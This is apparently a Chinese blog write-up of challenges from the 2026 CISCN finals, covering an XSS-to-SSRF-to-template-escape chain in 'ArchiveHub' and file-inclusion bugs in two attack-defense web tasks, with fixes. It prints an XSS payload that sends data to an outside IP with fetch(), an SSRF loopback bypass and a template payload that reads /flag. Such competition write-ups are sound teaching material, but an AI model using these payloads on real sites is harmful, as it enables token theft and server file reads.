2026ciscn决赛

tiran Lv3

我没进决赛,拿学长的附件复现的 orz,本来但是拿到就做了,但是懒一直没写wp,这回要打羊城强网了,转回头做做写个wp

WEB

ArchiveHub

拿到源码后就是一个长达近1000行的py文件(吓哭了),先简单启个环境,先看看功能点在回来看代码

第一眼看过去大概就是一个登陆注册加上传的一个小东西,回到代码去找找上传的实现在哪

大概扫了一眼就是让你传一个zip,里面放一个md和json,然后用render_markdown去渲染md里面的内容

然后看看render_markdown

对<开头的会单独进入一个逻辑,进去看看

是一段xss的waf,然后把这段内容丢给本地模型得到(模拟线下断网)

但其实也不难,单独拿出来也能看出来,但是他乌泱泱全写一块了,第一眼瞅过去还真没看出来

所以这里是一个xss,去看bot的逻辑发现bot在访问时会带上ADMIN_BOT_TOKEN

然后我们xss可以去拿这个token去访问admin的页面,这样就可以拿到cookie了

payload

1
<img src=x onerror=fetch('http://172.72.0.144:7777/'+btoa(location.search))>

然后在admin的路由里面有一个/admin/fetch

是一个ssrf,可以通过这个接口去访问127.0.0.1:9001了

绕过很简单拿http://127.0.1:9001/就行了

在9001这个服务里面有一个模板解析

然后是一个类似于沙箱逃逸的

然后还给了几个函数

_load去读文件,c去数字转字符,a去拼接

构造cfg._load('/flag')去读

{{h.a(cfg,h.c(95,108,111,97,100))(h.c(47,102,108,97,103))}}

AWDP

web1

Attack

先启动个环境看看发现空空如也啊,啥功能没有,就一个切换语言就没了

回到源码看看切换语言的实现

ctrl+左键跟过来也是干干净净

危险函数一搜啥也没有

没招了,向万能的ai询问何解

?怎么和我看的代码不一样,而且我不是已经搜过include没有啊

后面知道这vsc的搜索跟随.gitignore,把这玩意一删就能看到了QAQ

当然了,其实在git记录也能看到他没提交

然后剩下的就很简单了,加个@传个参就好了

Fix

fix也很简单

直接删应该也行,或者改file_get_concent应该就行了

(这题难点应该就是找了吧@_@)

web3

Attack

又是一个include

还有一个检测文件后缀的文件上传,我们用include不用管后缀

然后就看看怎么触发这个_tostring方法就好

去看到渲染的地方发现session接受了snippets这个参数

然后一路跟下去发现有一个沙箱,然后里面放行了join,众所周知join在强制类型转换时会调用tostring

所以后面就都通了

Fix

不用include,上传时强制改名,再加点乱八七糟的waf应该就好

  • 标题: 2026ciscn决赛
  • 作者: tiran
  • 创建于 : 2026-10-26 18:50:34
  • 更新于 : 2026-10-26 18:50:58
  • 链接: https://www.tiran.cc/2026/10/26/2026ciscn决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
2026ciscn决赛